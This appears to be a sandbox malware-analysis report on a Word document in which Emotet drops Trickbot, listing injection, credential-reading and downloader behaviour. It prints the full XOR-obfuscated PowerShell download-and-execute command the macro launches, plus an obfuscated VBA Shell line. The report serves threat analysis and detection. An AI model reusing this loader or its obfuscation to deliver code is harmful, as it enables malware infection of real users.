Emotet Drops Trickbot (25-Jun-18) | VTI
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Target: win7_64_sp1-mso2007 | ms_office
Classification: Exploit, Dropper, Downloader

3985bc09caa13dadf70187a20d271303c272a41404beb497ac6116a5722a05d1 (SHA256)

022543.doc

Word Document

Created at 2018-06-25 14:51:00

...

Notifications (1/1)

The operating system was rebooted during the analysis.

Severity Category Operation Classification
5/5
Injection Writes into the memory of a process running from a created or modified executable -
  • "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack.exe" modifies memory of "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack.exe"
    ...
  • "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack.exe" modifies memory of "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack_.exe"
    ...
  • "c:\programdata\oyvgkgw.exe" modifies memory of "c:\programdata\oyvgkgw.exe"
    ...
5/5
Injection Modifies control flow of a process running from a created or modified executable -
  • "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack.exe" alters context of "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack.exe"
    ...
  • "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack.exe" alters context of "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack_.exe"
    ...
  • "c:\programdata\oyvgkgw.exe" alters context of "c:\programdata\oyvgkgw.exe"
    ...
4/5
Process Creates process -
  • Creates process "PowersHell -join ((98,49 , 44 , 1 , 123 ,40 , 35 , 49, 107 ,41 ,36 ,44 , 35 ,37 ,50 ,102,8 ,35, 50, 104 , 17 , 35, 36 ,5 ,42, 47,35 , 40 , 50 , 125, 98,54, 50,4,123 , 97 , 46,50, 50 , 54 , 124,105 ,105, 37,41, 43, 54, 52 , 35 ,39, 42 ,43 ,104 , 40,35, 50,105 , 49 ,41 , 52 , 34, 54, 52 , 35, 53 , 53 ,105 ,119, 49, 9 ,44, 45 , 46 ,35 , 31,3, 126 ,105, 6, 46,50, 50, 54,124,105 , 105, 49,49,49 , 104,47,37 ,36, 104,37, 42 , 105 ,28, 62,39 , 48 ,41,2 , 35, 105, 6 ,46 ,50,50 ,54 , 124 , 105 ,105 , 49 , 49, 49 , 104 , 37 , 46 , 51, 40 , 33, 37 , 51, 53 ,39,43 ,53 , 41 ,52 , 39 , 54,52,47,43, 47 ,35 , 52 , 104, 37 ,41 , 43,105 ,2,17 ,126 ,34 , 30 , 35, 105, 6 ,46, 50 , 50,54,124 ,105,105 ,53 , 35 , 52, 48 ,47,37 , 35 , 107 ,54, 37, 104 ,37, 41 ,43, 104,52 ,41 , 105,113, 41 , 127, 41 , 54,11,31, 105 ,6, 46 ,50, 50 , 54 , 124, 105, 105 , 43 , 47 ,40 , 39, 43 , 47,104 ,37 , 41,43,104,50 ,49 , 105, 22, 114, 19, 2 ,1,54 , 105 ,97 ,104, 21 ,54 , 42,47 , 50 , 110 ,97 , 6,97,111 ,125, 98 , 0 , 28, 23, 102 , 123, 102 , 97 , 116, 126 ,118 , 97 , 125, 98, 9, 51 ,44, 123 , 98 , 35,40 , 48 ,124 , 50 , 35, 43,54 ,109 , 97 ,26 ,97,109, 98,0 , 28 , 23,109 , 97 ,104 , 35 , 62, 35,97 , 125 , 32 ,41 ,52 ,35 ,39,37,46, 110 , 98, 7 , 19, 19 ,102 , 47,40,102, 98,54 ,50 , 4 , 111 , 61,50 , 52 ,63 ,61 , 98, 49, 44 ,1,104,2 ,41 ,49 ,40 ,42,41,39 , 34 ,0 ,47 ,42 ,35 , 110 , 98, 7, 19,19,106 ,102,98 ,9,51,44, 111,125 , 21 ,50, 39 , 52 ,50, 107 ,22 ,52, 41,37, 35 ,53 , 53 ,102, 98 ,9 , 51, 44 ,125, 36 , 52, 35 ,39, 45,125 , 59 , 37 , 39 , 50, 37 ,46,61, 59 ,59 ) |%{ [CHAR]($_ -bXor"0x46" )} ) | . ( $ENv:COmSpeC[4,24,25]-Join'') ".
    ...
  • Creates process "C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\syncpack.exe".
    ...
  • Creates process ""C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\syncpack.exe" /scomma "C:\Users\kFT6uTQW\AppData\Local\Temp\D3A3.tmp"".
    ...
  • Creates process ""C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\syncpack.exe" "C:\Users\kFT6uTQW\AppData\Local\Temp\D3D3.tmp"".
    ...
  • Creates process ""C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\syncpack.exe" /scomma "C:\Users\kFT6uTQW\AppData\Local\Temp\D3D4.tmp"".
    ...
  • Creates process ""C:\Users\kFT6uTQW\AppData\Local\Microsoft\Windows\syncpack_.exe" "C:\Users\kFT6uTQW\AppData\Local\Temp\D3D3.tmp"".
    ...
4/5
Information Stealing Reads browser data -
4/5
Network Downloads data Downloader
3/5
Network Performs DNS request -
3/5
Browser Reads data related to browsing history -
3/5
PE Executes dropped PE file -
2/5
File System Associated with suspicious files Exploit
2/5
Network Associated with known malicious/suspicious URLs -
2/5
Network Connects to HTTP server -
2/5
PE Drops PE file Dropper
  • Drops file "c:\users\kft6utqw\appdata\local\microsoft\windows\syncpack_.exe".
    ...
2/5
VBA Macro Executes application -
  • DmvtdQv = DtEFQrZRRpI + HYmQfXj + Shell(WzPZHVRYA + whKqOB + haTFtqcwzK, (20827 / 20827) - 1)
    ...
    • VTI Actions
1/5
Process Creates system object -
1/5
VBA Macro Executes macro on specific worksheet event -
  • Executes macro on "Activate Workbook" event.
    ...
    • VTI Actions
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image